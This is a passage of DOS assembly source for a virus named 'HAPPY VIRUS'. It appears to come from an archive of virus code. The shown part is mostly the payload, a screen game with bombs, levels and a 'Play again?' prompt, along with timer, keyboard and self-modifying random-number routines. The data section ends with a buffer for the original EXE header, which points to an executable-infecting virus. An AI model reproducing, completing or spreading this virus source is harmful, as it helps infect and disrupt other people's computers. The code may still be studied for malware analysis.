|||
|
call scroll_screen
|
|||
|
|
|||
|
mov si,offset orgvalues ;Initialize parameters.
|
|||
|
mov di,offset bombs
|
|||
|
movsw
|
|||
|
xor ax,ax
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
|
|||
|
mov dx,0B800 ;ES points to screen memory.
|
|||
|
mov es,dx
|
|||
|
|
|||
|
mov si,offset beginmess ;Print first message.
|
|||
|
mov di,40d*2*5+20d
|
|||
|
mov cx,12d
|
|||
|
call print_it2
|
|||
|
|
|||
|
mov di,40d*2*9+4
|
|||
|
mov cl,20d
|
|||
|
call print_it2
|
|||
|
|
|||
|
mov di,40d*2*20d+24d
|
|||
|
mov cl,16d
|
|||
|
call print_it
|
|||
|
|
|||
|
call wachttoets ;Wait for keypress or timeout.
|
|||
|
|
|||
|
xor al,al ;Clear screen.
|
|||
|
call scroll_screen
|
|||
|
|
|||
|
main_lup: mov al,byte ptr [oldpos] ;Clear old position.
|
|||
|
call gotopos
|
|||
|
mov ax,0700
|
|||
|
stosw
|
|||
|
|
|||
|
mov al,byte ptr [pos]
|
|||
|
mov byte ptr [oldpos],al
|
|||
|
|
|||
|
mov al,1 ;Scroll screen up.
|
|||
|
call scroll_screen
|
|||
|
|
|||
|
mov al,byte ptr [pos] ;Goto current position.
|
|||
|
call gotopos
|
|||
|
mov al,es:[di] ;Hit a block?
|
|||
|
cmp al,0FE
|
|||
|
mov ax,0E02 ;Print smily face.
|
|||
|
stosw
|
|||
|
je stop_game
|
|||
|
|
|||
|
call print_bombs ;Print a number of bombs.
|
|||
|
|
|||
|
call wacht
|
|||
|
|
|||
|
in al,61 ;Make 'click' sound.
|
|||
|
push ax
|
|||
|
or al,3
|
|||
|
out 61,al
|
|||
|
|
|||
|
call check_key ;Check for shift keys.
|
|||
|
|
|||
|
pop ax ;Turn 'click' off
|
|||
|
out 61,al
|
|||
|
|
|||
|
inc byte ptr [timer] ;Check timer.
|
|||
|
mov al,byte ptr [timer]
|
|||
|
and al,7F
|
|||
|
jnz not_zero
|
|||
|
inc byte ptr [kleur] ;Change color and number of
|
|||
|
inc byte ptr [bombs] ;bombs every 128th row.
|
|||
|
|
|||
|
not_zero: cmp al,12d
|
|||
|
jne main_lup
|
|||
|
|
|||
|
inc byte ptr [level] ;Increase level as soon as
|
|||
|
cmp byte ptr [level],9 ;new color has reached.
|
|||
|
jb main_lup ;position. Maximum is 9.
|
|||
|
|
|||
|
|
|||
|
stop_game: mov ax,0E07 ;Beep!
|
|||
|
int 10
|
|||
|
|
|||
|
mov si,offset endmess ;Print message 'You reached..'.
|
|||
|
mov di,40d*2*24d
|
|||
|
mov cx,18d
|
|||
|
call print_it
|
|||
|
|
|||
|
mov al,byte ptr [level] ;Print reached level.
|
|||
|
add al,30
|
|||
|
stosw
|
|||
|
|
|||
|
add di,20d ;Print message 'Play again?'.
|
|||
|
mov cl,11d
|
|||
|
call print_it
|
|||
|
|
|||
|
|
|||
|
call wachttoets ;Wait for key or timeout.
|
|||
|
jz stop_echt
|
|||
|
or al,20
|
|||
|
cmp al,'y' ;Play again if 'Y' was
|
|||
|
jne stop_echt ;pressed.
|
|||
|
jmp start_game
|
|||
|
|
|||
|
stop_echt: pop cx
|
|||
|
mov ah,1
|
|||
|
int 10
|
|||
|
|
|||
|
pop ax ;clear screen
|
|||
|
int 10
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Print CX characters from DS:SI to ES:DI
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
print_it: lodsb
|
|||
|
mov ah,7
|
|||
|
stosw
|
|||
|
loop print_it
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Print CX characters from DS:SI to ES:DI (wide)
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
print_it2: lodsb
|
|||
|
mov ah,7
|
|||
|
stosw
|
|||
|
mov al,20
|
|||
|
stosw
|
|||
|
loop print_it2
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Go to position on screen.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
gotopos: cbw
|
|||
|
shl ax,1
|
|||
|
mov di,40d*2*12d
|
|||
|
add di,ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Scroll the screen up AL rows
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
scroll_screen: push bx
|
|||
|
mov ah,06
|
|||
|
mov bh,7
|
|||
|
mov cx,0
|
|||
|
mov dx,(25d-1)*100+(40d-1)
|
|||
|
int 10
|
|||
|
pop bx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Print some bombs at bottom row.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
print_bombs: mov cl,byte ptr [bombs] ;Number of bombs.
|
|||
|
xor ch,ch
|
|||
|
bomb_lup: call rnd_get ;Calculate position.
|
|||
|
cmp al,(40d-1)
|
|||
|
ja bomb_lup
|
|||
|
cbw
|
|||
|
shl ax,1
|
|||
|
mov di,40d*2*(25d-1)
|
|||
|
add di,ax
|
|||
|
mov al,byte ptr [kleur] ;Calculate color.
|
|||
|
mov bx,offset colors
|
|||
|
xlat
|
|||
|
xchg ah,al
|
|||
|
mov al,0FE ;Print bomb.
|
|||
|
stosw
|
|||
|
loop bomb_lup
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Wait a short time.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
wacht: mov dx,word ptr [tijd]
|
|||
|
add dx,2
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
time_lup: mov ax,ds:[046C] ;Get current time.
|
|||
|
cmp ax,dx
|
|||
|
jb time_lup
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov word ptr [tijd],ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Wait for timeout or keypress.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
wachttoets: mov ah,1 ;Empty keyboard buffer.
|
|||
|
int 16
|
|||
|
jz now_empty
|
|||
|
xor ah,ah
|
|||
|
int 16
|
|||
|
jmp short wachttoets
|
|||
|
|
|||
|
now_empty: xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov dx,ds:[046C]
|
|||
|
add dx,18d*8
|
|||
|
wt_lup: mov ah,1 ;Check key.
|
|||
|
int 16
|
|||
|
jnz stop_waiting
|
|||
|
mov ax,ds:[046C] ;Check time.
|
|||
|
cmp ax,dx
|
|||
|
jb wt_lup
|
|||
|
|
|||
|
stop_waiting: push cs
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Check if shift key's are pressed.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
check_key: mov ah,2
|
|||
|
int 16
|
|||
|
|
|||
|
test al,1
|
|||
|
jz not_right
|
|||
|
cmp byte ptr [pos],(40d-1)
|
|||
|
je not_right
|
|||
|
inc byte ptr [pos]
|
|||
|
ret
|
|||
|
|
|||
|
not_right: test al,2
|
|||
|
jz no_key
|
|||
|
cmp byte ptr [pos],0
|
|||
|
je no_key
|
|||
|
dec byte ptr [pos]
|
|||
|
no_key: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Random number generator.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
rnd_init: push ax
|
|||
|
push cx
|
|||
|
call rnd_init0 ;init
|
|||
|
and ax,000F
|
|||
|
inc ax
|
|||
|
xchg ax,cx
|
|||
|
random_lup: call rnd_get ;call random routine a few
|
|||
|
loop random_lup ; times to 'warm up'
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
rnd_init0: push dx ;initialize generator
|
|||
|
push cx
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
in al,40
|
|||
|
mov ah,al
|
|||
|
in al,40
|
|||
|
xor ax,word ptr ds:[041E]
|
|||
|
mov dx,word ptr ds:[046C]
|
|||
|
xor dx,ax
|
|||
|
pop ds
|
|||
|
jmp short move_rnd
|
|||
|
|
|||
|
nonzero_get: call rnd_get
|
|||
|
or ax,ax
|
|||
|
jz nonzero_get
|
|||
|
ret
|
|||
|
|
|||
|
rnd_get: push dx ;calculate a random number
|
|||
|
push cx
|
|||
|
push bx
|
|||
|
in al,40
|
|||
|
values: add ax,0 ;will be: mov ax,xxxx
|
|||
|
mov dx,0 ; and mov dx,xxxx
|
|||
|
mov cx,7
|
|||
|
rnd_lup: shl ax,1
|
|||
|
rcl dx,1
|
|||
|
mov bl,al
|
|||
|
xor bl,dh
|
|||
|
jns rnd_l2
|
|||
|
inc al
|
|||
|
rnd_l2: loop rnd_lup
|
|||
|
pop bx
|
|||
|
|
|||
|
move_rnd: push si
|
|||
|
call me
|
|||
|
me: pop si
|
|||
|
mov word ptr cs:[si+(offset values-offset me)+1],ax
|
|||
|
mov word ptr cs:[si+(offset values-offset me)+4],dx
|
|||
|
pop si
|
|||
|
mov al,dl
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Data
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
beginmess db 'HAPPY VIRUS '
|
|||
|
db 'Time to play a game '
|
|||
|
db '(Use shift keys)'
|
|||
|
|
|||
|
|
|||
|
endmess db 'You reached level '
|
|||
|
db 'Play again?'
|
|||
|
|
|||
|
colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0
|
|||
|
|
|||
|
|
|||
|
orgvalues db 3, (40d/2)
|
|||
|
|
|||
|
buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header.
|
|||
|
|
|||
|
|
|||
|
last:
|
|||
|
end first
|
|||
|
|
|||
|
|